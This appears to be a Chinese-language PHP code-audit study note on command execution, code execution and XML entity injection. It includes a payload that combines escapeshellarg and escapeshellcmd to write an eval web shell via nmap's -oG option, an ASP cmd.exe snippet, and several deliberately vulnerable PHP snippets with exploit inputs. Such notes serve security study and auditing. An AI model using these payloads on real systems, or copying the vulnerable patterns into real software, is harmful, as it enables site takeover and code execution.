一.命令执行漏洞
常见命令执行函数
system
passthru
exec
shell_exec
popen
pron_open
pcntl_exec
dl
xx
命令执行过滤函数
escapeshellcmd-->转义危险的函数
escapeshellarg-->给字符串增加单引号或者转义已经存在的单引号
一种特殊的bypass绕过思路
#当对于escapeshellarg和escapeshellcmd联用的时候会导致bypass绕过
如上面的题目,绕过的思路
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php ' 即可以用''进行表示连接符号
代进而绕过安全的函数
原理:多次转义导致的
PHP escapeshellarg()+escapeshellcmd() 之殇
asp
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c
net start msdtc).stdout.readall%>
关键字exec system
二.代码执行
常规代码执行
#①最常见
eval()
assert()
#②回调函数
call_user_func() call_user_func_array() array_map()等-->因为可直接调用函数逆向回去导致的
如
<?php
$arr=$_GET['arr'];
$array=array(1,2,3,4,5);
$new_array=array_map($arr,$array);
?>
可以这样代-->即可成功执行phpinfo函数
arr=phpinfo
③动态执行函数
<?php
$_GET['a']($_GET['b']);//接受get请求a的参数作为一个函数,b是作为a函数里的参数
>
④正则匹配的
mixed preg_replace(mixde $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]])
动态代码执行
1.动态变量代码执行
①dyn_func=system&argument=ipconfig
<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>
②动态函数执行
<?php
$foobar = $_GET['foobar'];
$dyn_func = create_function('$foobar', "echo $foobar;");
$dyn_func('');
?>
③其他
1.ob_start()
<?php
$foobar = 'system';
ob_start($foobar);
echo 'dir';
ob_end_flush();
?>
2.array_map()函数的代码执行
callback=phpinfo()
<?php
$evil_callback = $_GET['callback'];
$some_array = array(0, 1, 2, 3);
$new_array = array_map($evil_callback, $some_array);
?>
同类函数
array_map()
usort(), uasort(), uksort()
array_filter()
array_reduce()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
array_walk(), array_walk_recursive()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()
三.XML实体注入
PHP XML解析函数
simplexml_load_file
simplexml_load_string
SimpleXMLElement
DOMDocument
xml_parse
如
有输出的
直接搜索关键字进行审计就完事
$data = file_get_contents('php://input');
$object = simplexml_load_string($data);
//...
echo $object->name;